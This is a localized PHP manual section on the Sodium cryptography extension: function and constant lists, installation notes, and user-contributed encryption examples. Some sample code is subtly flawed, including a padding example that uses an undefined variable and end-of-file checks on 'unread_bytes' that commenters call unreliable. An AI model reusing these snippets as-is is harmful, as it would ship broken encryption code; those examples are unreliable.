    • sodium_crypto_aead_aes256gcm_keygen — Generate a random AES-256-GCM key
    • sodium_crypto_aead_chacha20poly1305_decrypt — Verify then decrypt with ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt then authenticate with ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag
    • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message
    • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Generate a random ChaCha20-Poly1305 (IETF) key.
    • sodium_crypto_aead_chacha20poly1305_keygen — Generate a random ChaCha20-Poly1305 key.
    • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Preferred) Verify then decrypt with XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Preferred) Encrypt then authenticate with XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Generate a random XChaCha20-Poly1305 key.
    • sodium_crypto_auth_keygen — Generate a random key for sodium_crypto_auth
    • sodium_crypto_auth_verify — Verifies that the tag is valid for the message
    • sodium_crypto_auth — Compute a tag for the message
    • sodium_crypto_box_keypair_from_secretkey_and_publickey — Create a unified keypair string from a secret key and public key
    • sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key
    • sodium_crypto_box_open — Authenticated public-key decryption
    • sodium_crypto_box_publickey_from_secretkey — Calculate the public key from a secret key
    • sodium_crypto_box_publickey — Extract the public key from a crypto_box keypair
    • sodium_crypto_box_seal_open — Anonymous public-key decryption
    • sodium_crypto_box_seal — Anonymous public-key encryption
    • sodium_crypto_box_secretkey — Extracts the secret key from a crypto_box keypair
    • sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key
    • sodium_crypto_box — Authenticated public-key encryption
    • sodium_crypto_core_ristretto255_add — Adds an element
    • sodium_crypto_core_ristretto255_from_hash — Maps a vector
    • sodium_crypto_core_ristretto255_is_valid_point — Determines if a point on the ristretto255 curve
    • sodium_crypto_core_ristretto255_random — Generates a random key
    • sodium_crypto_core_ristretto255_scalar_add — Adds a scalar value
    • sodium_crypto_core_ristretto255_scalar_complement — The sodium_crypto_core_ristretto255_scalar_complement purpose
    • sodium_crypto_core_ristretto255_scalar_invert — Inverts a scalar value
    • sodium_crypto_core_ristretto255_scalar_mul — Multiplies a scalar value
    • sodium_crypto_core_ristretto255_scalar_negate — Negates a scalar value
    • sodium_crypto_core_ristretto255_scalar_random — Generates a random key
    • sodium_crypto_core_ristretto255_scalar_reduce — Reduces a scalar value
    • sodium_crypto_core_ristretto255_scalar_sub — Subtracts a scalar value
    • sodium_crypto_core_ristretto255_sub — Subtracts an element
    • sodium_crypto_generichash_final — Complete the hash
    • sodium_crypto_generichash_init — Initialize a hash for streaming
    • sodium_crypto_generichash_keygen — Generate a random generichash key
    • sodium_crypto_generichash_update — Add message to a hash
    • sodium_crypto_generichash — Get a hash of the message
    • sodium_crypto_kdf_derive_from_key — Derive a subkey
    • sodium_crypto_kdf_keygen — Generate a random root key for the KDF interface
    • sodium_crypto_kx_client_session_keys — Calculate the client-side session keys.
    • sodium_crypto_kx_keypair — Creates a new sodium keypair
    • sodium_crypto_kx_publickey — Extract the public key from a crypto_kx keypair
    • sodium_crypto_kx_secretkey — Extract the secret key from a crypto_kx keypair.
    • sodium_crypto_kx_seed_keypair — Description
    • sodium_crypto_kx_server_session_keys — Calculate the server-side session keys.
    • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string
    • sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash
    • sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password, using scrypt
    • sodium_crypto_pwhash_str_needs_rehash — Determine whether or not to rehash a password
    • sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash
    • sodium_crypto_pwhash_str — Get an ASCII-encoded hash
    • sodium_crypto_pwhash — Derive a key from a password, using Argon2
    • sodium_crypto_scalarmult_base — 别名 sodium_crypto_box_publickey_from_secretkey
    • sodium_crypto_scalarmult_ristretto255_base — Calculates the public key from a secret key
    • sodium_crypto_scalarmult_ristretto255 — Computes a shared secret
    • sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key
    • sodium_crypto_secretbox_keygen — Generate random key for sodium_crypto_secretbox
    • sodium_crypto_secretbox_open — Authenticated shared-key decryption
    • sodium_crypto_secretbox — Authenticated shared-key encryption
    • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Initialize a secretstream context for decryption
    • sodium_crypto_secretstream_xchacha20poly1305_init_push — Initialize a secretstream context for encryption
    • sodium_crypto_secretstream_xchacha20poly1305_keygen — Generate a random secretstream key.
    • sodium_crypto_secretstream_xchacha20poly1305_pull — Decrypt a chunk of data from an encrypted stream
    • sodium_crypto_secretstream_xchacha20poly1305_push — Encrypt a chunk of data so that it can safely be decrypted in a streaming API
    • sodium_crypto_secretstream_xchacha20poly1305_rekey — Explicitly rotate the key in the secretstream state
    • sodium_crypto_shorthash_keygen — Get random bytes for key
    • sodium_crypto_shorthash — Compute a short hash of a message and key
    • sodium_crypto_sign_detached — Sign the message
    • sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key
    • sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key
    • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Join a secret key and public key together
    • sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key
    • sodium_crypto_sign_open — Check that the signed message has a valid signature
    • sodium_crypto_sign_publickey_from_secretkey — Extract the Ed25519 public key from the secret key
    • sodium_crypto_sign_publickey — Extract the Ed25519 public key from a keypair
    • sodium_crypto_sign_secretkey — Extract the Ed25519 secret key from a keypair
    • sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key
    • sodium_crypto_sign_verify_detached — Verify signature for the message
    • sodium_crypto_sign — Sign a message
    • sodium_crypto_stream_keygen — Generate a random sodium_crypto_stream key.
    • sodium_crypto_stream_xchacha20_keygen — Returns a secure random key
    • sodium_crypto_stream_xchacha20_xor_ic — Encrypts a message using a nonce and a secret key (no authentication)
    • sodium_crypto_stream_xchacha20_xor — Encrypts a message using a nonce and a secret key (no authentication)
    • sodium_crypto_stream_xchacha20 — Expands the key and nonce into a keystream of pseudorandom bytes
    • sodium_crypto_stream_xor — Encrypt a message without authentication
    • sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed
    • sodium_hex2bin — Decodes a hexadecimally encoded binary string
    • sodium_increment — Increment large number
    • sodium_memcmp — Test for equality in constant-time
    • sodium_memzero — Overwrite a string with NUL characters
    • sodium_pad — Add padding data
    • sodium_unpad — Remove padding data
  • SodiumException — The SodiumException class

User Contributed Notes

Chris 02-May-2018 08:04
Libsodium documentation: https://github.com/paragonie/pecl-libsodium-doc


简介

Sodium is a modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more. Its goal is to provide all of the core operations needed to build higher-level cryptographic tools.

User Contributed Notes

Sander 03-Sep-2018 01:30
When using the stream_get_meta_data() function, the manual states not to use the value of 'unread_bytes' in a script, which lead to a non functioning script in my environment. I guess you'd rather use the value of 'eof'. Or, even better, use the feof() function.
Anonymous 01-May-2018 12:30
Clearly there isn't much support or documentation for this yet.

Based off the same safeEncrypt implementation here and elsewhere, I updated it to work for me (I'm running libsodium 1.0.8).

I added these methods to a utility class.

<?php

// simple example
$message = 'My ultra-sensitive information';

$secret_key = Util::generateSecretKey();
$encrypted = Util::encrypt($message, $secret_key, 64);
$decrypted = Util::decrypt($encrypted, $secret_key, 64);

print $decrypted;

// outputs 'My ultra-sensitive information'
// encrypted data is padded to 64-byte chunks to obfuscate actual data length

class Util
{
    /**
     * Get a secret key for encrypt/decrypt
     *
     * Use libsodium to generate a secret key.  This should be kept secure.
     *
     * @return string
     * @see encrypt(), decrypt()
     */
    public static function generateSecretKey()
    {
        return sodium_crypto_secretbox_keygen();
    }

    /**
     * Encrypt a message
     *
     * Use libsodium to encrypt a string
     *
     * @param string $message - message to encrypt
     * @param string $secret_key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see decrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function encrypt($message, $secret_key, $block_size = 1)
    {
        // create a nonce for this operation. it will be stored and recovered in the message itself
        $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);

        // pad to $block_size byte chunks (enforce 512 byte limit)
        $padded_message = sodium_pad($message, $block_size <= 512 ? $block_size : 512);

        // encrypt message and combine with nonce
        $cipher = base64_encode($nonce . sodium_crypto_secretbox($padded_message, $nonce, $secret_key));

        // cleanup
        sodium_memzero($message);
        sodium_memzero($secret_key);

        return $cipher;
    }

    /**
     * Decrypt a message
     *
     * Use libsodium to decrypt an encrypted string
     *
     * @param string $encrypted - the encrypted message
     * @param string $key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see encrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function decrypt($encrypted, $secret_key, $block_size = 1)
    {
        // unpack base64 message
        $decoded = base64_decode($encrypted);

        // check for general failures
        if ($decoded === false) {
            throw new \Exception('The encoding failed');
        }

        // check for incomplete message. CRYPTO_SECRETBOX_MACBYTES doesn't seem to exist in this version...
        if (!defined('CRYPTO_SECRETBOX_MACBYTES')) define('CRYPTO_SECRETBOX_MACBYTES', 16);
        if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + CRYPTO_SECRETBOX_MACBYTES)) {
            throw new \Exception('The message was truncated');
        }

        // pull nonce and ciphertext out of unpacked message
        $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
        $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

        // decrypt it and account for extra padding from $block_size (enforce 512 byte limit)
        $decrypted_padded_message = sodium_crypto_secretbox_open($ciphertext, $nonce, $secret_key);
        $message = sodium_unpad($decrypted_padded_message, $block_size <= 512 ? $block_size : 512);

        // check for encrpytion failures
        if ($message === false) {
             throw new \Exception('The message was tampered with in transit');
        }

        // cleanup
        sodium_memzero($ciphertext);
        sodium_memzero($secret_key);

        return $message;
    }

}

?>
jedisct1 at php dot net 22-Dec-2017 09:37
You may want to use `feof($fd_in)` instead of `stream_get_meta_data($fd_in)['unread_bytes'] <= 0` in the examples above.

Or just read the documentation of the PHP extension here: https://github.com/jedisct1/libsodium-php -- it is always more up to date.
jedisct1 at php dot net 15-Dec-2017 08:53
With sensitive data, use `sodium_bin2base64()` and `sodium_base642bin()` than `base64_encode()` and `base64_decode()`.

The sodium functions provide better protection against side channels, are more flexible, and perform stricter validation.
jedisct1 at php dot net 15-Dec-2017 08:47
## Encrypt a file using a key derived from a password:

<?php
$password = 'password';
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$alg = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT;
$opslimit = SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE;
$memlimit = SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE;
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);

$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

fwrite($fd_out, pack('C', $alg));
fwrite($fd_out, pack('P', $opslimit));
fwrite($fd_out, pack('P', $memlimit));
fwrite($fd_out, $salt);

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Read the stored parameters and decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$alg = unpack('C', fread($fd_in, 1))[1];
$opslimit = unpack('P', fread($fd_in, 8))[1];
$memlimit = unpack('P', fread($fd_in, 8))[1];
$salt = fread($fd_in, SODIUM_CRYPTO_PWHASH_SALTBYTES);

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    $res = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    if ($res === FALSE) {
       break;
    }
    list($decrypted_chunk, $tag) = $res;
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

A password cannot be directly used as a secret key. Passwords are
short, must be typable on a keyboard, and people who don't use a
password manager should be able to remember them.

A 8 characters password is thus way weaker than a 8 bytes key.

The `sodium_crypto_pwhash()` function perform a computationally
intensive operation on a password in order to derive a secret key.

By doing do, brute-forcing all possible passwords in order to find the
secret key used to encrypt the data becomes an expensive operation.

Multiple algorithms can be used to derive a key from a password, and
for each of them, different parameters can be chosen. It is important
to store all of these along with encrypted data. Using the same
algorithm and the same parameters, the same secret key can be
deterministically recomputed.
jedisct1 at php dot net 15-Dec-2017 08:46
## Encrypt a file using a secret key

<?php
$secret_key = sodium_crypto_secretstream_xchacha20poly1305_keygen();
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    list($decrypted_chunk, $tag) = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

There's a little bit more code than in the previous examples.

In fact, `crypto_secretbox()` would work to encrypt as file, but only
if that file is pretty small. Since we have to provide the entire
content as a string, it has to fit in memory.

If the file is large, we can split it into small chunks, and encrypt
chunks individually.

By doing do, we can encrypt arbitrary large files. But we need to make
sure that chunks cannot be deleted, truncated, duplicated and
reordered. In other words, we don't have a single "message", but a
stream of messages, and during the decryption process, we need a way
to check that the whole stream matches what we encrypted.

So we create a new stream (`init_push`) and push a sequence of messages
into it (`push`). Each individual message has a tag attached to it, by
default `TAG_MESSAGE`. In order for the decryption process to know
where the end of the stream is, we tag the last message with the
`TAG_FINAL` tag.

When we consume the stream (`init_pull`, then `pull` for each
message), we check that they can be properly decrypted, and retrieve
both the decrypted chunks and the attached tags. If we read the last
chunk (`TAG_FINAL`) and we are at the end of the file, we know that we
completely recovered the original stream.
jedisct1 at php dot net 15-Dec-2017 08:44
## Encrypt a single message using a secret key

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted_message = sodium_crypto_secretbox($message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
```

How it works:

`$secret_key` is a secret key. Not a password. It's binary data, not
something designed to be human readable, but rather to have a key
space as large as possible for a given length.
The `keygen()` function creates such a key. That has to remain secret,
as it is used both to encrypt and decrypt data.

`$nonce` is a unique value. Like the secret, its length is fixed. But
it doesn't have to be secret, and can be sent along with the encrypted
message. The nonce doesn't have to be unpredicable either. It just has
to be unique for a given key. With the `secretbox()` API, using
`random_bytes()` is a totally fine way to generate nonces.

Encrypted messages are slightly larger than unencrypted messages,
because they include an authenticator, used by the decryption function
to check that the content was not altered.

## Encrypt a single message using a secret key, and hide its length

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';
$block_size = 16;

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$padded_message = sodium_pad($padded_message, $block_size);
$encrypted_message = sodium_crypto_secretbox($padded_message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_padded_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
$decrypted_message = sodium_unpad($decrypted_padded_message, $block_size);
```

How it works:

Sometimes, the length of a message may provide a lot of information
about its nature. If a message is one of "yes", "no" and "maybe",
encrypting the message doesn't help: knowing the length is enough to
know what the message is.

Padding is a technique to mitigate this, by making the length a
multiple of a given block size.

Messages must be padded prior to encryption, and unpadded after
decryption.
rafayhingoro at hotmail dot com 10-Dec-2017 06:26
<?php
//Simple Usage

/**
 * Encrypt a message
 *
 * @param string $message - message to encrypt
 * @param string $key - encryption key
 * @return string
 */
function safeEncrypt($message, $key)
{
    $nonce = random_bytes(
        SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );

    $cipher = base64_encode(
        $nonce.
        sodium_crypto_secretbox(
            $message,
            $nonce,
            $key
        )
    );
    sodium_memzero($message);
    sodium_memzero($key);
    return $cipher;
}

/**
 * Decrypt a message
 *
 * @param string $encrypted - message encrypted with safeEncrypt()
 * @param string $key - encryption key
 * @return string
 */
function safeDecrypt($encrypted, $key)
{
    $decoded = base64_decode($encrypted);
    if ($decoded === false) {
        throw new Exception('Scream bloody murder, the encoding failed');
    }
    if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + SODIUM_CRYPTO_SECRETBOX_MACBYTES)) {
        throw new Exception('Scream bloody murder, the message was truncated');
    }
    $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
    $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

    $plain = sodium_crypto_secretbox_open(
        $ciphertext,
        $nonce,
        $key
    );
    if ($plain === false) {
         throw new Exception('the message was tampered with in transit');
    }
    sodium_memzero($ciphertext);
    sodium_memzero($key);
    return $plain;
}
//Encrypt & Decrypt your message
$key = sodium_crypto_secretbox_keygen();
$enc = safeEncrypt('Abdul Rafay Hingoro', $key); //generates random  encrypted string (Base64 related)
echo $enc;
echo '<br>';
$dec = safeDecrypt($enc, $key); //decrypts encoded string generated via safeEncrypt function
echo $dec;
?>

//Output
DEx9ATXEg/eRq8GWD3NT5BatB3m31WEDEYLK2V4L0Am5GZGoa2rvYWUpoUeCrm7W/pdgLJrNoE6AA8U=
Abdul Rafay Hingoro


需求

This extension requires » libsodium ≥ 1.0.8.

User Contributed Notes

There are no user contributed notes for this page.


安装

As of PHP 7.2.0 this extension is bundled with PHP. For older PHP versions this extension is available via PECL.

Linux Systems

In order to use this extension you must compile PHP with sodium support by using the --with-sodium[=DIR] configure option.

Windows

In order to use this extension you have to add extension=php_sodium.dll to php.ini.

Installation via PECL

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/libsodium

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SODIUM_LIBRARY_VERSION (string)
SODIUM_LIBRARY_MAJOR_VERSION (int)
SODIUM_LIBRARY_MINOR_VERSION (int)
SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES (int)
SODIUM_CRYPTO_AUTH_BYTES (int)
SODIUM_CRYPTO_AUTH_KEYBYTES (int)
SODIUM_CRYPTO_BOX_SEALBYTES (int)
SODIUM_CRYPTO_BOX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_BOX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_BOX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_BOX_MACBYTES (int)
SODIUM_CRYPTO_BOX_NONCEBYTES (int)
SODIUM_CRYPTO_BOX_SEEDBYTES (int)
SODIUM_CRYPTO_KDF_BYTES_MIN (int)
SODIUM_CRYPTO_KDF_BYTES_MAX (int)
SODIUM_CRYPTO_KDF_CONTEXTBYTES (int)
SODIUM_CRYPTO_KDF_KEYBYTES (int)
SODIUM_CRYPTO_KX_SEEDBYTES (int)
SODIUM_CRYPTO_KX_SESSIONKEYBYTES (int)
SODIUM_CRYPTO_KX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_KX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_KX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_GENERICHASH_BYTES (int)
SODIUM_CRYPTO_GENERICHASH_BYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_BYTES_MAX (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 (int)
SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (int)
SODIUM_CRYPTO_PWHASH_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_SCALARMULT_BYTES (int)
SODIUM_CRYPTO_SCALARMULT_SCALARBYTES (int)
SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_SHORTHASH_BYTES (int)
SODIUM_CRYPTO_SHORTHASH_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_MACBYTES (int)
SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (int)
SODIUM_CRYPTO_SIGN_BYTES (int)
SODIUM_CRYPTO_SIGN_SEEDBYTES (int)
SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_SIGN_SECRETKEYBYTES (int)
SODIUM_CRYPTO_SIGN_KEYPAIRBYTES (int)
SODIUM_CRYPTO_STREAM_NONCEBYTES (int)
SODIUM_CRYPTO_STREAM_KEYBYTES (int)
SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES (int)
Available as of PHP 8.1.0.
SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES (int)
Available as of PHP 8.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Sodium 函数

Table of Contents

  • sodium_add — Add large numbers
  • sodium_base642bin — Decodes a base64-encoded string into raw binary.
  • sodium_bin2base64 — Encodes a raw binary string with base64.
  • sodium_bin2hex — Encode to hexadecimal
  • sodium_compare — Compare large numbers
  • sodium_crypto_aead_aes256gcm_decrypt — Verify then decrypt a message with AES-256-GCM
  • sodium_crypto_aead_aes256gcm_encrypt — Encrypt then authenticate with AES-256-GCM
  • sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM
  • sodium_crypto_aead_aes256gcm_keygen — Generate a random AES-256-GCM key
  • sodium_crypto_aead_chacha20poly1305_decrypt — Verify then decrypt with ChaCha20-Poly1305
  • sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt then authenticate with ChaCha20-Poly1305
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Generate a random ChaCha20-Poly1305 (IETF) key.
  • sodium_crypto_aead_chacha20poly1305_keygen — Generate a random ChaCha20-Poly1305 key.
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Preferred) Verify then decrypt with XChaCha20-Poly1305
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Preferred) Encrypt then authenticate with XChaCha20-Poly1305
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Generate a random XChaCha20-Poly1305 key.
  • sodium_crypto_auth_keygen — Generate a random key for sodium_crypto_auth
  • sodium_crypto_auth_verify — Verifies that the tag is valid for the message
  • sodium_crypto_auth — Compute a tag for the message
  • sodium_crypto_box_keypair_from_secretkey_and_publickey — Create a unified keypair string from a secret key and public key
  • sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key
  • sodium_crypto_box_open — Authenticated public-key decryption
